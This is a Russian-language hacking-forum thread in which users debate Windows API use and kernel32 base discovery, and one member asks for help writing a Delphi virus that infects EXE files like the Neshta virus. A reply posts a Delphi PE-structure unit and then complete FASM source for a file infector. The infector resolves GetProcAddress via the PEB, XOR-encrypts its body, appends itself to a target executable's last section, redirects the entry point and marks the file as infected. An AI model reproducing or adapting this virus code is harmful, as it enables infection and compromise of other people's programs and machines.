• XSS.stack #1 – первый литературный журнал от юзеров форума

Профи сюда

Хм... Конечно нет. Если же ты не знаешь, то скажу, что любая программа использует API.

Прям-таки любая?

Вызов идет не минуя таблицу импорта. Компилятор сам все делает(настраивает таблицу импорта) при компиляции программы.

А какое отношение имеет импорт программы в которую нужно внедриться к внедряемому коду?

А по скольку вирь можно кинуть в любое(в пределах разумного:) адресное пространство, он "не знает" знает ни одной функции. По-тому и придуманы различные техники определения адресов импортируемых ф-ций.

Ммм...
 
qwe113
Код:
program xz;
begin
write('asd');
end;
Даже этот код использует API.
Т.е. Pascal тоже использует WinAPI?
 
qwe113
В каком смысле? Если ты пишешь, к примеру, чтоб она 2 числа склыдывала, то да. Любая программа выдает свои рез-ты(или получает параметры), использует API.

Хочу тебя огорчить и сказать, что на Делфи Сишнеге и асемблере мир клином не сошёлся. Существует масса других языков и технологий на которых пишутся полноценные проекты без единой апи.

Т.е. Pascal тоже использует WinAPI?

Скомпелируй программу TurboPascal'ем и вышли мне, я гляну использует ли она апи. Ну или стучи в асю разберёмся:)

Никакого. Имеется ввиду, что любой вирь должен знать как минимум 2 фун-ции(LoadLibrary,GetProcAddress), для своей нормальной работы. У него есть 2 варианта: либо искать в таблицы импорта зараженного exe, либо искать базу кернела, а там уже искать ф-цию.

База кернела есть константа. По крайней мере в XP, 2k.

Хмм...

Угу:)
 
Bendar, чел тебе не делфи нужна а assembler + зание исполняемого формата ,т.е. PE-files - тогда мона реализовать это... а так просить ребята давай напишем...учисться,учиться,а потом уж и веселиться... :baby:
 
BUG(O)R
Скомпелируй программу TurboPascal'ем и вышли мне
http://slil.ru/23081157


Ну или стучи в асю разберёмся:)
Как пересечёмся - стукну :)
 
Почкму ты не хочешь меня понять... Любая программа использует API даже только потому что любой программе есть конец  - ExitProcess().

А как ты не поймёшь, что этого ExitProcess может не быть в импорте, я могу использовать методы самого языка. В delphi они практически все обращаются к Апи, но ведь непосредсственно API я не вызываю! Ниже приведу пример технологий, которые при использовании стандартных методов(а не стандартные в некоторых из них вообще использовать невозможно - например Java) апи вообще не вызывают.

Приведи пример. Вот простой пример - каждая программа должна "общаться" с пользователем, это она делает по средствам ввода/вывода. А как организовывается этот ввод/вывод? Только с помощью тех функций, которая предлагает тебе Винда.

win16
.NET
Java
Python
VB

Хватит или продолжить?

Постваь бряк на строку "writeln('asd');", открой дебаг-окно(Ctrl+Alt+C), и трассируй с заходом в процедуры. Можно увидеть, что строка "writeln()" вызывает API kernel.WriteFile.

Чел, кончай говорить вещи, которые сами собой разумеются, я вообще не это имел ввиду:) Pascal != ObjectPascal
Вот скачай программу, которыцую мастиф выложил, загрузи в отладчик и поставь бряки на функции WriteFile и WriteConsoleA, при выводе в консоль текста у тебя ни один из этих бряков не сработает. Потому что это вообще не win32 приложение)

Да. Но минус(для вирусописателей) в том, что она разная на разных сервиспаков, даже после какого-нибудь обновления база меняется.

В XP зависит от сервиспака(SP1 или SP2), в win2k не зависит насколько мне известно.
 
Вот структуры по PE формату для делфи
Код:
unit rxtypes;

interface

uses Windows;

const
  IMAGE_DOS_SIGNATURE    = $5A4D;       { MZ }
  IMAGE_OS2_SIGNATURE    = $454E;       { NE }
  IMAGE_OS2_SIGNATURE_LE = $454C;       { LE }
  IMAGE_VXD_SIGNATURE    = $454C;       { LE }
  IMAGE_NT_SIGNATURE     = $00004550;   { PE00 }

  IMAGE_SIZEOF_SHORT_NAME          = 8;
  IMAGE_SIZEOF_SECTION_HEADER      = 40;
  IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16;
  IMAGE_RESOURCE_NAME_IS_STRING    = $80000000;
  IMAGE_RESOURCE_DATA_IS_DIRECTORY = $80000000;
  IMAGE_OFFSET_STRIP_HIGH          = $7FFFFFFF;

type
  PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;
  IMAGE_DOS_HEADER = packed record      { DOS .EXE header }
    e_magic         : WORD;             { Magic number }
    e_cblp          : WORD;             { Bytes on last page of file }
    e_cp            : WORD;             { Pages in file }
    e_crlc          : WORD;             { Relocations }
    e_cparhdr       : WORD;             { Size of header in paragraphs }
    e_minalloc      : WORD;             { Minimum extra paragraphs needed }
    e_maxalloc      : WORD;             { Maximum extra paragraphs needed }
    e_ss            : WORD;             { Initial (relative) SS value }
    e_sp            : WORD;             { Initial SP value }
    e_csum          : WORD;             { Checksum }
    e_ip            : WORD;             { Initial IP value }
    e_cs            : WORD;             { Initial (relative) CS value }
    e_lfarlc        : WORD;             { File address of relocation table }
    e_ovno          : WORD;             { Overlay number }
    e_res           : packed array [0..3] of WORD; { Reserved words }
    e_oemid         : WORD;             { OEM identifier (for e_oeminfo) }
    e_oeminfo       : WORD;             { OEM information; e_oemid specific }
    e_res2          : packed array [0..9] of WORD; { Reserved words }
    e_lfanew        : Longint;          { File address of new exe header }
  end;

  PIMAGE_FILE_HEADER = ^IMAGE_FILE_HEADER;
  IMAGE_FILE_HEADER = packed record
    Machine              : WORD;
    NumberOfSections     : WORD;
    TimeDateStamp        : DWORD;
    PointerToSymbolTable : DWORD;
    NumberOfSymbols      : DWORD;
    SizeOfOptionalHeader : WORD;
    Characteristics      : WORD;
  end;

  PIMAGE_DATA_DIRECTORY = ^IMAGE_DATA_DIRECTORY;
  IMAGE_DATA_DIRECTORY = packed record
    VirtualAddress  : DWORD;
    Size            : DWORD;
  end;

  PIMAGE_OPTIONAL_HEADER = ^IMAGE_OPTIONAL_HEADER;
  IMAGE_OPTIONAL_HEADER = packed record
   { Standard fields. }
    Magic           : WORD;
    MajorLinkerVersion : Byte;
    MinorLinkerVersion : Byte;
    SizeOfCode      : DWORD;
    SizeOfInitializedData : DWORD;
    SizeOfUninitializedData : DWORD;
    AddressOfEntryPoint : DWORD;
    BaseOfCode      : DWORD;
    BaseOfData      : DWORD;
   { NT additional fields. }
    ImageBase       : DWORD;
    SectionAlignment : DWORD;
    FileAlignment   : DWORD;
    MajorOperatingSystemVersion : WORD;
    MinorOperatingSystemVersion : WORD;
    MajorImageVersion : WORD;
    MinorImageVersion : WORD;
    MajorSubsystemVersion : WORD;
    MinorSubsystemVersion : WORD;
    Reserved1       : DWORD;
    SizeOfImage     : DWORD;
    SizeOfHeaders   : DWORD;
    CheckSum        : DWORD;
    Subsystem       : WORD;
    DllCharacteristics : WORD;
    SizeOfStackReserve : DWORD;
    SizeOfStackCommit : DWORD;
    SizeOfHeapReserve : DWORD;
    SizeOfHeapCommit : DWORD;
    LoaderFlags     : DWORD;
    NumberOfRvaAndSizes : DWORD;
    DataDirectory   : packed array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of IMAGE_DATA_DIRECTORY;
  end;

  PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;
  IMAGE_SECTION_HEADER = packed record
    Name            : packed array [0..IMAGE_SIZEOF_SHORT_NAME-1] of Char;
    PhysicalAddress : DWORD; // or VirtualSize (union);
    VirtualAddress  : DWORD;
    SizeOfRawData   : DWORD;
    PointerToRawData : DWORD;
    PointerToRelocations : DWORD;
    PointerToLinenumbers : DWORD;
    NumberOfRelocations : WORD;
    NumberOfLinenumbers : WORD;
    Characteristics : DWORD;
  end;

  PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS;
  IMAGE_NT_HEADERS = packed record
    Signature       : DWORD;
    FileHeader      : IMAGE_FILE_HEADER;
    OptionalHeader  : IMAGE_OPTIONAL_HEADER;
  end;

{ Resources }

  PIMAGE_RESOURCE_DIRECTORY = ^IMAGE_RESOURCE_DIRECTORY;
  IMAGE_RESOURCE_DIRECTORY = packed record
    Characteristics : DWORD;
    TimeDateStamp   : DWORD;
    MajorVersion    : WORD;
    MinorVersion    : WORD;
    NumberOfNamedEntries : WORD;
    NumberOfIdEntries : WORD;
  end;

  PIMAGE_RESOURCE_DIRECTORY_ENTRY = ^IMAGE_RESOURCE_DIRECTORY_ENTRY;
  IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record
    Name: DWORD;        // Or ID: Word (Union)
    OffsetToData: DWORD;
  end;

  PIMAGE_RESOURCE_DATA_ENTRY = ^IMAGE_RESOURCE_DATA_ENTRY;
  IMAGE_RESOURCE_DATA_ENTRY = packed record
    OffsetToData    : DWORD;
    Size            : DWORD;
    CodePage        : DWORD;
    Reserved        : DWORD;
  end;

  PIMAGE_RESOURCE_DIR_STRING_U = ^IMAGE_RESOURCE_DIR_STRING_U;
  IMAGE_RESOURCE_DIR_STRING_U = packed record
    Length          : WORD;
    NameString      : array [0..0] of WCHAR;
  end;

{
    /* Predefined resource types */
    #define    RT_NEWRESOURCE      0x2000
    #define    RT_ERROR            0x7fff
    #define    RT_CURSOR           1
    #define    RT_BITMAP           2
    #define    RT_ICON             3
    #define    RT_MENU             4
    #define    RT_DIALOG           5
    #define    RT_STRING           6
    #define    RT_FONTDIR          7
    #define    RT_FONT             8
    #define    RT_ACCELERATORS     9
    #define    RT_RCDATA           10
    #define    RT_MESSAGETABLE     11
    #define    RT_GROUP_CURSOR     12
    #define    RT_GROUP_ICON       14
    #define    RT_VERSION          16
    #define    RT_NEWBITMAP        (RT_BITMAP|RT_NEWRESOURCE)
    #define    RT_NEWMENU          (RT_MENU|RT_NEWRESOURCE)
    #define    RT_NEWDIALOG        (RT_DIALOG|RT_NEWRESOURCE)

}

type
  TResourceType = (
    rtUnknown0,
    rtCursorEntry,
    rtBitmap,
    rtIconEntry,
    rtMenu,
    rtDialog,
    rtString,
    rtFontDir,
    rtFont,
    rtAccelerators,
    rtRCData,
    rtMessageTable,
    rtCursor,
    rtUnknown13,
    rtIcon,
    rtUnknown15,
    rtVersion);

{ Resource Type Constants }

const
  StringsPerBlock = 16;

{ Resource Related Structures from RESFMT.TXT in WIN32 SDK }

type

  PIconHeader = ^TIconHeader;
  TIconHeader = packed record
    wReserved: Word;         { Currently zero }
    wType: Word;             { 1 for icons }
    wCount: Word;            { Number of components }
  end;

  PIconResInfo = ^TIconResInfo;
  TIconResInfo = packed record
    bWidth: Byte;
    bHeight: Byte;
    bColorCount: Byte;
    bReserved: Byte;
    wPlanes: Word;
    wBitCount: Word;
    lBytesInRes: DWORD;
    wNameOrdinal: Word;      { Points to component }
  end;

  PCursorResInfo = ^TCursorResInfo;
  TCursorResInfo = packed record
    wWidth: Word;
    wHeight: Word;
    wPlanes: Word;
    wBitCount: Word;
    lBytesInRes: DWORD;
    wNameOrdinal: Word;      { Points to component }
  end;


implementation

end.

А дальше как это использовать то что в делфи что в асме одинаково!Синтаксис разный!
 
народ вобщем хочу написать вирь на делфе кто знает как релизовать одну функцию виря кароче мне нужно чтобы он работал как Neshta беларуский вирус вобщем надо чтобы этот вирь заражал exe файлы как выше упомянутый вирь и ваще возможноли это на делфе народ памагите срочно нужно.

Вот структуры по PE формату для делфи
Код:
unit rxtypes;

interface

uses Windows;

const
  IMAGE_DOS_SIGNATURE    = $5A4D;       { MZ }
  IMAGE_OS2_SIGNATURE    = $454E;       { NE }
  IMAGE_OS2_SIGNATURE_LE = $454C;       { LE }
  IMAGE_VXD_SIGNATURE    = $454C;       { LE }
  IMAGE_NT_SIGNATURE     = $00004550;   { PE00 }

  IMAGE_SIZEOF_SHORT_NAME          = 8;
  IMAGE_SIZEOF_SECTION_HEADER      = 40;
  IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16;
  IMAGE_RESOURCE_NAME_IS_STRING    = $80000000;
  IMAGE_RESOURCE_DATA_IS_DIRECTORY = $80000000;
  IMAGE_OFFSET_STRIP_HIGH          = $7FFFFFFF;

type
  PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;
  IMAGE_DOS_HEADER = packed record      { DOS .EXE header }
    e_magic         : WORD;             { Magic number }
    e_cblp          : WORD;             { Bytes on last page of file }
    e_cp            : WORD;             { Pages in file }
    e_crlc          : WORD;             { Relocations }
    e_cparhdr       : WORD;             { Size of header in paragraphs }
    e_minalloc      : WORD;             { Minimum extra paragraphs needed }
    e_maxalloc      : WORD;             { Maximum extra paragraphs needed }
    e_ss            : WORD;             { Initial (relative) SS value }
    e_sp            : WORD;             { Initial SP value }
    e_csum          : WORD;             { Checksum }
    e_ip            : WORD;             { Initial IP value }
    e_cs            : WORD;             { Initial (relative) CS value }
    e_lfarlc        : WORD;             { File address of relocation table }
    e_ovno          : WORD;             { Overlay number }
    e_res           : packed array [0..3] of WORD; { Reserved words }
    e_oemid         : WORD;             { OEM identifier (for e_oeminfo) }
    e_oeminfo       : WORD;             { OEM information; e_oemid specific }
    e_res2          : packed array [0..9] of WORD; { Reserved words }
    e_lfanew        : Longint;          { File address of new exe header }
  end;

  PIMAGE_FILE_HEADER = ^IMAGE_FILE_HEADER;
  IMAGE_FILE_HEADER = packed record
    Machine              : WORD;
    NumberOfSections     : WORD;
    TimeDateStamp        : DWORD;
    PointerToSymbolTable : DWORD;
    NumberOfSymbols      : DWORD;
    SizeOfOptionalHeader : WORD;
    Characteristics      : WORD;
  end;

  PIMAGE_DATA_DIRECTORY = ^IMAGE_DATA_DIRECTORY;
  IMAGE_DATA_DIRECTORY = packed record
    VirtualAddress  : DWORD;
    Size            : DWORD;
  end;

  PIMAGE_OPTIONAL_HEADER = ^IMAGE_OPTIONAL_HEADER;
  IMAGE_OPTIONAL_HEADER = packed record
   { Standard fields. }
    Magic           : WORD;
    MajorLinkerVersion : Byte;
    MinorLinkerVersion : Byte;
    SizeOfCode      : DWORD;
    SizeOfInitializedData : DWORD;
    SizeOfUninitializedData : DWORD;
    AddressOfEntryPoint : DWORD;
    BaseOfCode      : DWORD;
    BaseOfData      : DWORD;
   { NT additional fields. }
    ImageBase       : DWORD;
    SectionAlignment : DWORD;
    FileAlignment   : DWORD;
    MajorOperatingSystemVersion : WORD;
    MinorOperatingSystemVersion : WORD;
    MajorImageVersion : WORD;
    MinorImageVersion : WORD;
    MajorSubsystemVersion : WORD;
    MinorSubsystemVersion : WORD;
    Reserved1       : DWORD;
    SizeOfImage     : DWORD;
    SizeOfHeaders   : DWORD;
    CheckSum        : DWORD;
    Subsystem       : WORD;
    DllCharacteristics : WORD;
    SizeOfStackReserve : DWORD;
    SizeOfStackCommit : DWORD;
    SizeOfHeapReserve : DWORD;
    SizeOfHeapCommit : DWORD;
    LoaderFlags     : DWORD;
    NumberOfRvaAndSizes : DWORD;
    DataDirectory   : packed array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of IMAGE_DATA_DIRECTORY;
  end;

  PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;
  IMAGE_SECTION_HEADER = packed record
    Name            : packed array [0..IMAGE_SIZEOF_SHORT_NAME-1] of Char;
    PhysicalAddress : DWORD; // or VirtualSize (union);
    VirtualAddress  : DWORD;
    SizeOfRawData   : DWORD;
    PointerToRawData : DWORD;
    PointerToRelocations : DWORD;
    PointerToLinenumbers : DWORD;
    NumberOfRelocations : WORD;
    NumberOfLinenumbers : WORD;
    Characteristics : DWORD;
  end;

  PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS;
  IMAGE_NT_HEADERS = packed record
    Signature       : DWORD;
    FileHeader      : IMAGE_FILE_HEADER;
    OptionalHeader  : IMAGE_OPTIONAL_HEADER;
  end;

{ Resources }

  PIMAGE_RESOURCE_DIRECTORY = ^IMAGE_RESOURCE_DIRECTORY;
  IMAGE_RESOURCE_DIRECTORY = packed record
    Characteristics : DWORD;
    TimeDateStamp   : DWORD;
    MajorVersion    : WORD;
    MinorVersion    : WORD;
    NumberOfNamedEntries : WORD;
    NumberOfIdEntries : WORD;
  end;

  PIMAGE_RESOURCE_DIRECTORY_ENTRY = ^IMAGE_RESOURCE_DIRECTORY_ENTRY;
  IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record
    Name: DWORD;        // Or ID: Word (Union)
    OffsetToData: DWORD;
  end;

  PIMAGE_RESOURCE_DATA_ENTRY = ^IMAGE_RESOURCE_DATA_ENTRY;
  IMAGE_RESOURCE_DATA_ENTRY = packed record
    OffsetToData    : DWORD;
    Size            : DWORD;
    CodePage        : DWORD;
    Reserved        : DWORD;
  end;

  PIMAGE_RESOURCE_DIR_STRING_U = ^IMAGE_RESOURCE_DIR_STRING_U;
  IMAGE_RESOURCE_DIR_STRING_U = packed record
    Length          : WORD;
    NameString      : array [0..0] of WCHAR;
  end;

{
    /* Predefined resource types */
    #define    RT_NEWRESOURCE      0x2000
    #define    RT_ERROR            0x7fff
    #define    RT_CURSOR           1
    #define    RT_BITMAP           2
    #define    RT_ICON             3
    #define    RT_MENU             4
    #define    RT_DIALOG           5
    #define    RT_STRING           6
    #define    RT_FONTDIR          7
    #define    RT_FONT             8
    #define    RT_ACCELERATORS     9
    #define    RT_RCDATA           10
    #define    RT_MESSAGETABLE     11
    #define    RT_GROUP_CURSOR     12
    #define    RT_GROUP_ICON       14
    #define    RT_VERSION          16
    #define    RT_NEWBITMAP        (RT_BITMAP|RT_NEWRESOURCE)
    #define    RT_NEWMENU          (RT_MENU|RT_NEWRESOURCE)
    #define    RT_NEWDIALOG        (RT_DIALOG|RT_NEWRESOURCE)

}

type
  TResourceType = (
    rtUnknown0,
    rtCursorEntry,
    rtBitmap,
    rtIconEntry,
    rtMenu,
    rtDialog,
    rtString,
    rtFontDir,
    rtFont,
    rtAccelerators,
    rtRCData,
    rtMessageTable,
    rtCursor,
    rtUnknown13,
    rtIcon,
    rtUnknown15,
    rtVersion);

{ Resource Type Constants }

const
  StringsPerBlock = 16;

{ Resource Related Structures from RESFMT.TXT in WIN32 SDK }

type

  PIconHeader = ^TIconHeader;
  TIconHeader = packed record
    wReserved: Word;         { Currently zero }
    wType: Word;             { 1 for icons }
    wCount: Word;            { Number of components }
  end;

  PIconResInfo = ^TIconResInfo;
  TIconResInfo = packed record
    bWidth: Byte;
    bHeight: Byte;
    bColorCount: Byte;
    bReserved: Byte;
    wPlanes: Word;
    wBitCount: Word;
    lBytesInRes: DWORD;
    wNameOrdinal: Word;      { Points to component }
  end;

  PCursorResInfo = ^TCursorResInfo;
  TCursorResInfo = packed record
    wWidth: Word;
    wHeight: Word;
    wPlanes: Word;
    wBitCount: Word;
    lBytesInRes: DWORD;
    wNameOrdinal: Word;      { Points to component }
  end;


implementation

end.

А дальше как это использовать то что в делфи что в асме одинаково!Синтаксис разный!

А теперь просто переведи вот это:
format PE GUI 4.0
       
  include 'include\win32a.inc'
       
section '.main' code readable writeable
       
       
       
  vir_start: 
       
       
   call      delta
  delta:     
   pop      ebp
   mov      eax,ebp
   sub      eax,delta
   je     .next0

   call   crypt_all

    .next0:
   jmp   start_crypt1

  start_crypt1:
   mov      eax,[fs:30h]
   mov      eax,[eax+0Ch]
   mov      eax,[eax+1Ch]
   mov      eax,[eax]
   mov      eax,[eax+8h]
   mov      edx,eax
   mov      [ebp+k_base-delta],edx
   mov      ebx,[eax+3Ch]
   add      ebx,edx
   add      eax,[ebx+78h]
   push      eax
   mov      esi,edx
   add      esi,[eax+20h]
   mov      ebx,edx
   add      ebx,[eax+24h]
   mov      eax,[eax+18h]
   cld      
       
  search:    
   push      esi
   mov      esi,[esi]
   add      esi,edx
   lea      edi,[ebp+_GetProcAddress-delta]
   mov      ecx,7
   repz      cmpsw
   pop      esi
   jecxz      hurra
   add      esi,4
   inc      eax
   inc      ebx
   inc      ebx
   jne      search
   
       
  hurra:     
   movzx      eax,word [ebx]
   rol      eax,2
   pop      ebx
   mov      esi,[ebx+1Ch]
   add      esi,edx
   add      esi,eax
   mov      esi,[esi]
   add      esi,edx
   mov      [ebp+pGetProcAddress-delta],esi
   lea      eax,[ebp+_test-delta]
   push      1
   push      eax
   lea      eax,[ebp+_WinExec-delta]
   call      get_API
   call      eax
       
  
       

   _push         db 068h
   EIPs         dd ?
   _ret         db 0C3h
       
  get_API:   
   push      eax
   lea      eax,[ebp+k_base-delta]
   push      dword [eax]
   call      [ebp+pGetProcAddress-delta]
   ret      
       

       
   _test         db 'Tcpview.exe',0
       
   k_base        dd ?
       
   _GetProcAddress      db 'GetProcAddress',0
   pGetProcAddress      dd ?
       
   _WinExec        db 'WinExec',0


   end_crypt1:
       
   crypt_all:
      pusha
      lea     esi,[ebp+start_crypt1-delta]
      mov     edi,esi
      mov     ecx,(end_crypt1-start_crypt1)
    .crypt0:
      lodsb
      xor     al,75
      stosb
      dec     ecx
      jne     .crypt0

      popa
      ret
       
  vir_end:   
   
       
       
       
;--------------------------------------------------------------------------------;
; [infect]
;--------------------------------------------------------------------------------;

  proc infect,hfile,virsize
    locals 
   hFO         dd ?
   FSizeL        dd ?
   hFM         dd ?
   pFM         dd ?
   file_align        dd ?
    endl 
       
   invoke     CreateFile,[hfile],0C0000000h,0,0,3,0,0
   mov      [hFO],eax
   inc      eax
   jz      close_file
   invoke     GetFileSize,eax,0
   mov      ecx,eax
   push      ecx
   xor      ebx,ebx
       
  crFM:      
   mov      eax,[hFO]
   invoke     CreateFileMapping,eax,NULL,PAGE_READWRITE,0,ecx,NULL
   test      eax,eax
   jz      close_file
   mov      [hFM],eax
       
  MVF:      
   invoke     MapViewOfFile,eax,FILE_MAP_ALL_ACCESS,0,0,0
   test      eax,eax
   jz      zeroid
       
   mov      [pFM],eax
   test      ebx,ebx
   jnz      dali_bude
   cmp      word [eax],'MZ'
   jne      UVF
   add      eax,[eax+3Ch]
   cmp      word [eax],'PE'
   jne      UVF
   cmp      dword [eax+44h],'VIR '
   je      UVF
   mov      ecx,[eax+3ch]
   mov      [file_align],ecx
   inc      ebx
   jmp      UVF
  step1:     
   mov      eax,[virsize]
   stdcall    aligning,[file_align]
  al_done:   
   pop      ecx
   add      ecx,eax
       
   jmp      crFM
       
  dali_bude: 

   push      eax
   add      eax,[eax+3ch]
   push      eax
   movzx      ecx,word [eax+6]
   jmp      last_sec_find
  ls_found:  
   pop      esi
   mov      eax,dword [esi+28h]
   add      eax,dword [esi+34h]
   mov      dword [EIPs],eax

   pop      eax
   push      esi
   push      edi
   mov      edi,[edi+10h]
   lea      edi,[ebx+edi]
   add      edi,eax
   mov      ecx,[virsize]
   lea      esi,[vir_start]
   call     _crypt_all
   rep      movsb
   pop      edi
   pop      esi


   mov      eax,dword[edi+0ch]
   add      eax,dword [edi+10h]
   mov      dword [esi+28h],eax
   mov      eax,[virsize]
   stdcall    aligning,[file_align]
   add      dword [edi+10h],eax
   add      dword [edi+8],eax
   mov      eax,[edi+0ch]
   add      eax,dword [edi+8]
   mov      dword [esi+50h],eax
   mov      dword [esi+44h],'VIR '
   xor      ebx,ebx
  UVF:      
   invoke     UnmapViewOfFile,[pFM]
   invoke     CloseHandle,[hFM]
   test      ebx,ebx
   jnz      step1
  close_file: 
   invoke     CloseHandle,[hFO]
   invoke     ExitProcess,0
       
  last_sec_find: 
   movzx      edi,word [eax+14h]
   lea      eax,[eax+edi+18h]
   mov      ebx,[eax+14h]
   mov      edx,[eax+0ch]
       
  scoffs:    
   mov      dword[eax+24h],0A0000020h
   cmp      ebx,[eax+14h]
   ja      shvrva
   mov      ebx,[eax+14h]
   mov      esi,eax
  shvrva:    
   cmp      edx,[eax+0ch]
   ja      nextobj
   mov      edx,[eax+0ch]
   mov      edi,eax
  nextobj:   
   add      eax,28h
   loop      scoffs
   cmp      esi,edi
   je      ls_found
   pop      eax
   pop      eax
   jmp      zeroid
       
  zeroid:    
   xor      ebx,ebx
   jmp      UVF
       
  endp   
       
;--------------------------------------------------------------------------------;
; [aligning]
;--------------------------------------------------------------------------------;

  proc aligning,size_align
   mov      ecx,[size_align]
   dec      ecx
   add      eax,ecx
   not      ecx
   and      eax,ecx
   ret      
       
  endp


 _crypt_all:
      pusha
      lea     esi,[start_crypt1]
      mov     edi,esi
      mov     ecx,(end_crypt1-start_crypt1)
    .crypt0:
      lodsb
      xor     al,75
      stosb
      dec     ecx
      jne     .crypt0
      popa
      ret

       
   filename        db 'scanner.exe',0
   VIR_SIZE        = vir_end-vir_start
       
entry $
       
   stdcall    infect,filename,VIR_SIZE
   ret      
       
       
       
data import
       
  library kernel32,'KERNEL32.DLL',\
   user32,'USER32.DLL' 
       
  include 'include\APIA\kernel32.inc'
  include 'include\APIA\user32.inc'
       
end data

Запись производится в конец последней секции!
Поиск файлов для заражения я думаю знаеш как зделать и внедрять нужно
целиком всё тело виря а ни как я здесь зделала!

Добавлено в [time]1157196905[/time]
Я не знала что они там описаны!Извиняюсь!
 
offtop:
Я не знала что они там описаны!Извиняюсь!
разрешите вас спросить, вы девушка или просто опечатались?
 
salamandra
А сама-то ты их как описывала? Руками чтоли?

Ŧ1LAN
Она во всех топегах в женском роде о себе говорит. Но я не верю:)
Добавлено в [time]1157201810[/time]
PS Тег code рулит
 
BUG(O)R
Она во всех топегах в женском роде о себе говорит. Но я не верю:)
не заметил.. ) не удивительно... но уж больно она мне одного человека напоминает.
PS Тег code рулит
добавил. )
 
Ma-stiff
BUG(O)R
какая у вас бурная дискуссия :)
Т.е. Pascal тоже использует WinAPI?
кошмар, правда? :)

Хочу тебя огорчить и сказать, что на Делфи Сишнеге и асемблере мир клином не сошёлся. Существует масса других языков и технологий на которых пишутся полноценные проекты без единой апи.
+1

Почкму ты не хочешь меня понять... Любая программа использует API даже только потому что любой программе есть конец smile.gif - ExitProcess().
не обязательно должен быть ExitProcess.
start: ret
тоже скомпилится и выполнится нормально

Да. Но минус(для вирусописателей) в том, что она разная на разных сервиспаков, даже после какого-нибудь обновления база меняется.
ы. базу ядра можно найти в сегменте, чей селектор лежит в FS
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх